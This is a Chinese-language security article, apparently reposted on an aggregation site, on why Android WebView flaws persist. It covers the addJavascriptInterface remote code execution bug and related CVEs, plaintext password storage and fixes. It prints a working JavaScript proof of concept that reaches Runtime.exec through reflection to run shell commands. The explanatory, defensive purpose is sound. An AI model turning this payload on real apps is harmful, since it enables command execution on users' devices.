WebView漏洞,为何是打不死的小强?

2024-03-17 09:59
文章标签 漏洞 webview 小强

本文主要是介绍WebView漏洞,为何是打不死的小强?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


一、WebView漏洞持续高居榜首


       阿里移动安全发布的2015第三季度移动安全报告【1】,对16个行业的top10 Android应用进行扫描,发现与Webview相关的漏洞依然高居榜首。

WebView漏洞,为何是打不死的小强?-addJavascriptInterface-阿里聚安全

Webview相关问题早在2012年【2】就已经披露并广泛关注,但到为何到现在还是持续高居漏洞榜首?!

二、Webview是一个什么样的组件

WebViewAndroid中一个非常实用的组件,它和SafaiChrome一样都是基于Webkit网页渲染引擎,可以通过加载HTML数据的方式便捷地展现软件的界面。使用WebView开发软件有以下几个优点:

1、 可以打开远程URL页面,也可以加载本地HTML数据;

2、 可以无缝的在javajavascript之间进行交互操作;

3、高度的定制性,可根据开发者的需要进行多样性定制。

三、Webview相关漏洞有哪些?

       1、 Webview addJavascriptInterface远程代码执行漏洞,漏洞编号CVE-2012-6636

 WebviewAndroid系统中为Android App用来渲染网页的,为了便于JS互动展示,一般都会调用addJavascriptInterface接口。用例如下:

        mWebView=new WebView(this);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(new JavaScriptInterface(), " injectedObj ");

mWebView.loadUrl("www.test.com");

setContentView(mWebView);

        由于Android API level 16以及之前的版本没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterfaceWebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA环境环境,达到命令执行的目的。上面的代码可通过如下方法来执行任意命令:

<html>

   <body>

      <script>

         function execute(cmdArgs)

         {

             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

        }

         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);

         document.write(getContents(res.getInputStream()));

       </script>

   </body>

</html>

       2、 Android Webkit内置多个组件同样存在该漏洞:

        2014年同时发现在Android系统中Webkit中默认内置的searchBoxJavaBridge_accessibilityaccessibilityTraversal组件都同样能引起类似的远程代码执行漏洞。漏洞编号为CVE-2014-1939CVE-2014-7224

3、Webview明文存储密码漏洞:

Webview明文存储密码漏洞是当使用Webview加载登陆页面的时候,如果不设置setSavePassword(false),就会弹出一个对话框询问是否保存密码,一旦用户选择了是,密码就会被明文保存在目录下的databases/webview.db 文件中,存在密码被泄漏的风险。

    不过幸运的是在api18之后,该接口已经被google废除。但是在API 17之前,还是存在这个问题。

四、为何此类漏洞数量还高居不下?

出于安全考虑,为了防止Java层的函数被随便调用,Google4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用限定的最小API Level为17或者以上,就不会受该问题的影响。但是由于多种遗留问题造成漏洞数量还是高居首位:

1、 截止到201512月,Android 4.2以下版本的市场占有率还有18.3%左右,很多开发必须兼顾这些用户。

2、引起远程代码执行漏洞的根本原因发生在Android Webkit内部, 开发者无法从API层修复这个问题。只能利用Android API做一些补救, 比如通过限制Webview加载的url只能来自可信域。但都无法从本质上修复和规避这个安全风险。

3、 安全与产品需求的折中,Webview中使用JavaScript几乎是大部分开发中都必须要用到的特性。它直接决定了的某些重要功能能否实现,或是否能大幅度提升用户体验。当安全风险和产品功能相冲突时,产品功能的优先级往往都高于安全。

4、开发人员安全意识的薄弱。产品开发和产品安全虽然是孪生兄弟,但从产品角度看却属于不同分工。一个优秀的开发人员可能对安全风险感知很小或根本就缺乏重视。他们可能会为一个变量命名绞尽脑汁或对一个算法精雕细琢但却对代码安全完全忽略。

5、而Webview明文存储密码漏洞纯粹是开发者安全意识问题。许多开发者认为即使软件中存在有安全风险的代码但如果没有被外部利用的路径就是安全的。 从安全的角度出发代码安全不是静态的。有安全风险的代码存在即是有危险的。  如,开发者Alex开发了某个模块,使用了Webview,但是没有设置setSavePassword(false)。Alex认为自己代码中没有登陆页面,所以不会有问题。一段时间后开发者Bob接手了Alex的工作,因为需求变动Bob增加了一个登陆界面,但是没有检查Alex的代码,就会导致Webview明文存储密码漏洞。

五、修复建议

1、针对WebView远程代码执行漏洞修复建议:

继承Webview控件

因为以上5个原因都是来自webview这个控件,那么整体上来说,可以继承系统控件Webview,然后将安全问题全部集中在这个继承类里面解决。比如我们不用的addJavascriptInterface可以重载并抛出异常,移除searchBoxJavaBridge_accessibilityaccessibilityTraversa操作也可以在继承类中进行统一处理。

- 针对API Level等于或高于17Android系统

出于安全考虑,为了防止Java层的函数被随便调用,Google4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的最小API Level17或者以上,就能自然的避免风险。按照Google官方文档[5]使用示例:

class JsObject {

   @JavascriptInterface

   public String toString() { return "injectedObject"; }

}

webView.addJavascriptInterface(new JsObject(), "injectedObject");

webView.loadData("", "text/html", null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,

如果一定要使用addJavascriptInterface接口,请遵循如下规则:

            a、如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;

            b、如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;

            c、如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验。

            d、针对searchBoxJavaBridge_ 接口,这是开发者特别容易忽视的一个问题。大部分的远程代码执行问题来自于此。建议开发者一定需要通过以下方式移除该Javascript接口:    

 removeJavascriptInterface("searchBoxJavaBridge_")

而针对"accessibility" "accessibilityTraversal",建议开发者通过以下方式移除该JavaScript接口:

 removeJavascriptInterface("accessibility")     
         removeJavascriptInterface("accessibilityTraversal")

2、 针对WebView明文存储密码漏洞修复建议:

开发者需要在使用webview的地方务必加上setSavePassword(false)

六、参考:

      1http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.CbH5hR&id=87

      2http://50.56.33.56/blog/?p=314

                                                                                                                      作者:舟海 呆狐


这篇关于WebView漏洞,为何是打不死的小强?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/818621

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

android 的webView加载h5,和h5的交互(java和JavaScript的交互)

Android提供了一个很强大的WebView控件用来处理Web网页,而在网页中,JavaScript又是一个很举足轻重的脚本。本文将介绍如何实现Java代码和Javascript代码的相互调用。(通俗点说就是,点击那个Web页面的按钮啥的,可以传到原生app;或者原生app调用Web页面的js方法) 如何实现 实现Java和js交互十分便捷。通常只需要以下几步。 WebView

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据

影响画布微信小程序canvas及skyline和webview用户界面布局的关键流程

影响微信小程序画布canvas及skyline和webview用户界面布局的关键流程 目录 影响微信小程序画布canvas及skyline和webview用户界面布局的关键流程 一、微信小程序canvas开发流程 1.1、官方指南 1.2、客制化开发 第一步:在 WXML 中添加 canvas 组件 第二步:获取 Canvas 对象和渲染上下文 第三步 画布#ID选择器执行回调——

XSS 漏洞检测与利用全解析:守护网络安全的关键洞察

在网络安全领域,跨站脚本攻击(XSS)是一种常见的安全漏洞。XSS 漏洞可以让攻击者在受害者的浏览器中执行恶意脚本,从而窃取用户的敏感信息、篡改页面内容或者进行其他恶意操作。本文将介绍 XSS 漏洞的检测和利用方法。 一、XSS 漏洞的概念和类型 (一)概念 跨站脚本攻击(XSS)是指攻击者在网页中注入恶意脚本,当用户访问该网页时,恶意脚本在用户的浏览器中执行,从而达到攻击的目的。 (

代码执行漏洞-Log4j2漏洞

1.执行以下命令启动靶场环境并在浏览器访问 cd log4j/CVE-2021-44228docker-compose up -ddocker ps 2.先在自己搭建的DNSLOG平台上获取⼀个域名来监控我们注⼊的效果 3.可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏